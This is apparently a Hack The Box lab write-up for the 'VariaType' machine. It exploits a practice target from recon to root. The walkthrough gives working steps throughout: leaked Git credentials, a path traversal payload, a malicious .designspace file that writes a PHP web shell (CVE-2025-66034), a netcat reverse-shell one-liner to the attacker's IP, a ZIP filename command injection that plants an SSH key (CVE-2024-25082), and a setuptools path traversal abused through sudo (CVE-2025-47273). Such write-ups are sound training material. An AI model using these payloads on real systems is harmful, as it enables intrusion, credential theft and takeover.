VariaType WriteUp

Table of Contents

VariaType WriteUp

VariaType is a 🟧 Medium difficulty machine on Hack The Box, Season 10. The attack chain starts by discovering an exposed Git repository on an internal portal, extracting credentials from the commit history, exploiting an arbitrary file write in fontTools to get a shell, moving laterally by abusing command injection in FontForge via a malicious ZIP file, and escalating to root by leveraging a path traversal in setuptools through a misconfigured sudo rule.

πŸ—ΊοΈ Attack Chain

Recon β†’ Ports 22, 80
      β”‚
      β–Ό
Subdomain enumeration β†’ portal.variatype.htb
      β”‚
      β–Ό
Exposed .git β†’ git-dumper β†’ commit history β†’ gitbot:G1tB0t_Acc3ss_2025!
      β”‚
      β–Ό
Path traversal in /download.php β†’ /etc/passwd β†’ user steve
      β”‚
      β–Ό
CVE-2025-66034 β†’ malicious .designspace β†’ shell write β†’ RCE as www-data
      β”‚
      β–Ό
CVE-2024-25082 β†’ ZIP with malicious filename β†’ FontForge cron β†’ SSH key β†’ steve
      β”‚
      β–Ό
CVE-2025-47273 β†’ sudo install_validator.py + setuptools path traversal β†’ root 🏴

πŸ” Recon

/etc/hosts setup

echo "10.129.18.165 variatype.htb" | sudo tee -a /etc/hosts

Port Scanning

Phase 1 β€” Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv variatype.htb

Phase 2 β€” Version and script detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv variatype.htb
PortServiceDetail
22SSHOpenSSH 9.2p1 (Debian)
80HTTPnginx 1.22.1

Web Enumeration

The main site http://variatype.htb shows the corporate website of a variable typography startup. The page highlights the use of fontTools as its font processing engine, which already hints at the attack surface.

VariaType WriteUp

We enumerate subdomains:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://variatype.htb" -H "Host: FUZZ.variatype.htb" -fc 301
portal   [Status: 200, Size: 2494]

🎯 We found portal.variatype.htb. We add it to /etc/hosts:

sudo sed -i 's/variatype.htb/variatype.htb portal.variatype.htb/' /etc/hosts

http://portal.variatype.htb is a font validation portal restricted to the internal team. We enumerate files and directories:

VariaType WriteUp

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http://portal.variatype.htb/FUZZ" -fc 404
.git   [Status: 301, Size: 169]

🎯 The .git directory is exposed on the portal.

πŸ’‰ Initial Access

Extracting the Git repository

With .git accessible, we dump the whole repository with git-dumper:

git-dumper http://portal.variatype.htb/.git ./variatype-repo
cd variatype-repo

We review the full commit history, including branches and orphan commits:

git log --all --oneline
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

πŸ’‘ There are only two commits. The most recent one explicitly mentions the gitbot user, so we inspect its diff directly:

git show 753b5f5
'gitbot' => 'G1tB0t_Acc3ss_2025!'

πŸ”‘ Credentials found: gitbot:G1tB0t_Acc3ss_2025!

Path Traversal in /download.php

We log into the portal and abuse the file download feature to read /etc/passwd:

http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd

πŸ’‘ The server filters ../ but not the ....// sequence β€” removing the middle .. leaves ../, achieving traversal anyway.

root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

VariaType WriteUp

🎯 User steve confirmed on the system.

Finding a writable web path

Before exploiting the arbitrary file write, we need to know where to write so the result is reachable over the web. We reuse the same path traversal in /download.php to read the portal’s nginx configuration:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb"
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}

🎯 The portal’s document root is /var/www/portal.variatype.htb/public, and /files/ is served directly (with autoindex off, but reachable if we know the filename). Writing to /var/www/portal.variatype.htb/public/files/shell.php will give us access to our PHP payload at http://portal.variatype.htb/files/shell.php.

CVE-2025-66034 β€” Arbitrary File Write in fontTools

🧠 fontTools < 4.60.2 doesn’t validate the filename attribute of the <variable-font> element in .designspace files. When processing the file, os.path.join() accepts absolute paths in that field, allowing the output to be written to any path on the filesystem. The content of <labelname> elements ends up embedded in the output file; since PHP ignores binary data and executes any <?php ... ?> block it finds, it’s enough for the file to be written with a .php extension and be reachable over the web.

The main site (variatype.htb) exposes a variable font generator at /tools/variable-font-generator that processes .designspace files with fontTools. We generate two minimal fonts as masters and build the malicious .designspace:

Step 1 β€” the generator requires valid, mutually compatible .ttf masters. We generate them with a Python script using TTGlyphPen to create a minimal glyph. We save the script as gen_fonts.py:

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def make_font(filename, weight):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    pen = TTGlyphPen(None)
    pen.moveTo((50, 0))
    pen.lineTo((450, 0))
    pen.lineTo((450, 700))
    pen.lineTo((50, 700))
    pen.closePath()
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 50)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupNameTable({"familyName": "Source", "styleName": "Regular"})
    fb.setupOS2(sTypoAscender=800, sTypoDescender=-200, sTypoLineGap=0,
                usWinAscent=800, usWinDescent=200, usWeightClass=weight)
    fb.setupPost()
    fb.setupHead(unitsPerEm=1000)
    fb.font.save(filename)

make_font("source-light.ttf", 300)
make_font("source-regular.ttf", 400)
print("[+] Generated source-light.ttf and source-regular.ttf")
python3 gen_fonts.py
[+] Generated source-light.ttf and source-regular.ttf

Step 2 β€” we manually craft the malicious.designspace file with the absolute path of the shell in the filename attribute. There are two key details for the injection to work:

  • The <labelname> containing the PHP payload must go inside <axis> (under <axes>), not inside <variable-font>: fontTools only writes axis labelnames into the output file’s name table.
  • The content must be wrapped with the CDATA “split” trick, ]]]]><![CDATA[>, which produces a literal ]]> at the end of the parsed text. This is needed for the payload to survive the re-serialization fontTools does when dumping the name table.
<?xml version='1.0' encoding='UTF-8'?>
	<designspace format="5.0">
		<axes>
	    	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        	<labelname xml:lang="en"><![CDATA[]]]]><![CDATA[>]]></labelname>
	        	<labelname xml:lang="fr">hackpuntes</labelname>
	    	</axis>
		</axes>
		<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
		<sources>
			<source filename="source-regular.ttf" name="Regular">
				<location>
					<dimension name="Weight" xvalue="400"/>
				</location>
			</source>
		</sources>
		<variable-fonts>
        		<variable-font name="MyFont" filename="../../../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
				<axis-subsets>
					<axis-subset name="Weight"/>
				</axis-subsets>
			</variable-font>
		</variable-fonts>
		<instances>
			<instance name="Display Thin" familyname="MyFont" stylename="Thin">
				<location><dimension name="Weight" xvalue="100"/></location>
				<labelname xml:lang="en">Display Thin</labelname>
			</instance>
		</instances>
	</designspace>

Step 3 β€” we upload the three files to the generator endpoint:

curl -X POST "http://variatype.htb/tools/variable-font-generator/process" \
  -F "designspace=@malicious.designspace" \
  -F "masters=@source-light.ttf" \
  -F "masters=@source-regular.ttf"
Processing completed.

The shell is written to the portal’s files directory. Reaching it requires an active session cookie:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id"

πŸ’‘ shell.php isn’t “clean” PHP: it’s the TTF binary generated by fontTools, with the PHP payload embedded in the name table. The curl response mixes the command output with binary bytes from the file (TTF table names like name, glyf, cmap…). Since the payload’s output ends up right after SourceRegular (the familyName+styleName we defined in gen_fonts.py), and strings separates that line from the next one via the UTF-16 null bytes in the name table, we filter that line and strip the prefix β€” this works for the output of any command:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id" | strings | grep '^SourceRegular' | sed 's/^SourceRegular//'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

βœ… RCE as www-data obtained.

We start a listener and send a reverse shell by passing the payload in the cmd parameter, letting curl URL-encode it with --data-urlencode:

penelope -p 8443
curl --get -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
  --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 8443 >/tmp/f' \
  "http://portal.variatype.htb/files/shell.php"

After sending the request, penelope catches the connection and drops us into an interactive shell as www-data:

[+] Listening for reverse shells on 0.0.0.0:8443 β†’  127.0.0.1 β€’ 192.168.100.223 β€’ 10.10.14.49
➀  🏠 Main Menu (m) πŸ’€ Payloads (p) πŸ”„ Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from variatype~10.129.18.165-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! πŸ’ͺ
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ hostname
variatype

πŸ”€ Lateral Movement β€” CVE-2024-25082

From the www-data shell, we inspect processes and scheduled tasks:

cat /etc/cron.d/*
cat /opt/process_client_submissions.bak
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
#  This purges session files in session.save_path older than X,
#  where X is defined in seconds as the largest value of
#  session.gc_maxlifetime from all your SAPI php.ini files
#  or 24 minutes if not defined.  The script triggers only
#  when session.save_handler=files.
#
#  WARNING: The scripts tries hard to honour all relevant
#  session PHP options, but if you do something unusual
#  you have to disable this script and take care of your
#  sessions yourself.

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

The pipeline processes uploaded files with a FontForge binary built from source at /usr/local/src/fontforge/build/bin/fontforge. We check its version:

/usr/local/src/fontforge/build/bin/fontforge -version
cat /usr/local/src/fontforge/build/CMakeCache.txt 2>/dev/null | grep -i version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
 Version: 20230101
 Based on sources from 2025-12-07 11:44 UTC-D.
 Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC
CMAKE_PROJECT_VERSION:STATIC=20230101
FONTFORGE_GIT_VERSION:INTERNAL=a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf

🧠 CVE-2024-25082 affects FontForge ≀ 20230101. When opening a ZIP archive, FontForge passes the internal filename directly to a shell to build the extraction path, without sanitization. A filename like exploit$(cmd).ttf executes cmd with the privileges of the FontForge process, in this case steve.

Everything below is run directly from the www-data shell, working in /tmp so we don’t interfere with the UPLOAD_DIR watched by the cron (which also watches for *.zip):

cd /tmp
which ssh-keygen python3 base64
/usr/bin/ssh-keygen
/usr/bin/python3
/usr/bin/base64

We generate an SSH key pair and build the malicious ZIP. The heredoc is quoted (<< 'EOF') so bash doesn’t interpret $(...) or ${...} inside the Python code before passing it to python3; inside the f-string, the doubled braces ({{IFS}}) produce the literal ${IFS}:

ssh-keygen -t ed25519 -f steve_key -N "" -q
PUBKEY=$(cat steve_key.pub)
python3 << 'EOF'
import zipfile, base64

pubkey = open("steve_key.pub").read().strip()
cmd = f"mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 600 /home/steve/.ssh/authorized_keys"
b64 = base64.b64encode(cmd.encode()).decode()

# CVE-2024-25082: the filename inside the ZIP injects the command
# (braces are doubled so the f-string prints them literally)
malicious_name = f"$(echo${{IFS}}{b64}|base64${{IFS}}-d|bash).ttf"

with zipfile.ZipFile("pwn.zip", "w") as zf:
    zf.writestr(malicious_name, b"OTTO" + b"\x00" * 100)

print("[+] pwn.zip generated")
EOF

We copy the ZIP to the UPLOAD_DIR watched by the cron (/var/www/portal.variatype.htb/public/files, per process_client_submissions.bak) and wait for it to be processed:

cp pwn.zip /var/www/portal.variatype.htb/public/files/
sleep 60
ssh -i steve_key steve@127.0.0.1

🚩 User Flag

cat ~/user.txt

πŸ§—β€β™‚οΈ Privilege Escalation β€” CVE-2025-47273

Enumerating sudo

sudo -l
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

🧠 CVE-2025-47273 affects setuptools < 78.1.1. PackageIndex.download() builds the destination path with os.path.join(tmpdir, filename), where filename is extracted from the provided URL without sanitization. If that URL contains a URL-encoded absolute path (e.g. %2froot%2f.ssh%2fauthorized_keys β†’ /root/.ssh/authorized_keys), os.path.join() discards the tmpdir entirely and returns the absolute path, allowing the downloaded file to be written anywhere on the filesystem.

The install_validator.py script takes a plugin URL as an argument and uses setuptools.PackageIndex to download it. We abuse the * wildcard in the sudo rule to pass our own URL:

Step 1 β€” Generate a key pair for root:

ssh-keygen -t ed25519 -f root_key -N "" -q

Step 2 β€” Set up an HTTP server with goshs. The request setuptools makes arrives with a %2f-encoded path, and goshs decodes it before looking up the file, so we replicate the /root/.ssh/authorized_keys path inside our served directory:

mkdir -p ~/http/root/.ssh
cp root_key.pub ~/http/root/.ssh/authorized_keys
goshs -d ~/http -p 80 -i 0.0.0.0

Step 3 β€” Exploit CVE-2025-47273. The path %2froot%2f.ssh%2fauthorized_keys decodes to /root/.ssh/authorized_keys; since it’s an absolute path, os.path.join() discards the temp directory and setuptools writes the downloaded file directly to /root/.ssh/authorized_keys:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys"
2026-06-12 18:47:44,360 [INFO] Attempting to install plugin from: http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,367 [INFO] Downloading http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,442 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Step 4 β€” Connect as root:

ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

βœ… Root shell obtained.

🏴 Root Flag

cat /root/root.txt

πŸ“ Chain Summary

#TechniqueToolResult
1ReconnaissancenmapPorts 22 and 80 (nginx)
2Subdomain enumerationffufportal.variatype.htb
3Exposed Git + historygit-dumper, git loggitbot:G1tB0t_Acc3ss_2025!
4Path traversal /download.phpcurl/etc/passwd β†’ user steve
5CVE-2025-66034malicious .designspaceShell as www-data
6CVE-2024-25082ZIP with injected filenameSSH key β†’ access as steve + User Flag 🚩
7CVE-2025-47273 + sudoinstall_validator.pyauthorized_keys in /root/.ssh β†’ root
8Root escalationssh with generated keyShell as root + Root Flag 🏴

See you in the next challenge.